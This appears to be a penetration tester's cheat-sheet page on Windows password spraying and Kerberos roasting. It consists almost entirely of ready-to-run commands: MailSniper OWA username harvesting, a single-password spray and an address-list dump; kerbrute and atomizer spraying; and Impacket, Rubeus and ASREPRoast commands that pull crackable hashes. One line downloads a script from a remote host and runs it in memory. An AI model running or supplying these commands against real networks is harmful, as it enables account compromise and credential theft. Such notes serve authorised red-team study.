> For the complete documentation index, see [llms.txt](https://notes.shashwatshah.me/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.shashwatshah.me/windows/password-spray-and-roasting.md). # Password Spray And Roasting ## Owa ### [MailSniper](https://github.com/dafthack/MailSniper) ```powershell ipmo C: \Tools\MailSniper\MailSniper.ps1 Invoke-DomainHarvestOWA -ExchHostname 10.10.10.10 # Get Domain Invoke-UsernameHarvestOWA -ExchHostname 10.10.10.10 -Domain -UserList .\usernames.txt -OutFile valid.txt # Get Valid Username using Time Attack Invoke-PasswordSprayOWA -ExchHostname 10.10.10.10 -UserList .\valid.txt -Password Summer2021 # Spray One Password `Summer2021` Get-GlobalAddressList -ExchHostname 10.10.10.10 -UserName \ -Password -OutFile gal.txt # Dump All Username using Valid Creds. ``` ### [SprayingToolkit](https://github.com/byt3bl33d3r/SprayingToolkit) ``` atomizer.py owa owa.domain.local -emails.txt ``` ## [Kerbrute](https://github.com/ropnop/kerbrute) ```powershell kerbrute passwordspray -d --dc valid_users.txt ``` ## Kerberoast Note: Sync Timezone and time with the target network. Windows => \``tzdate /g`\` and Linux => `rdate -n ` ### [Impacket](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py) ``` GetUserSPNs.py /: -outputfile ``` ### [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast) ``` powershell.exe -Command 'IEX (New-Object Net.Webclient).DownloadString("http://:/Invoke-ASREP.ps1");Invoke-ASREPRoast -Domain -Server | select -expand hash ``` ### [Rubeus](https://github.com/GhostPack/Rubeus) ``` Rubeus.exe kerberoast ``` ## ASREPRoast ``` GetNPUsers.py / -usersfile users.txt -outputfile -dc-ip # Without credentials, using a valid users list ``` ``` GetNPUsers.py /: -request -outputfile # Using Valid credentials ```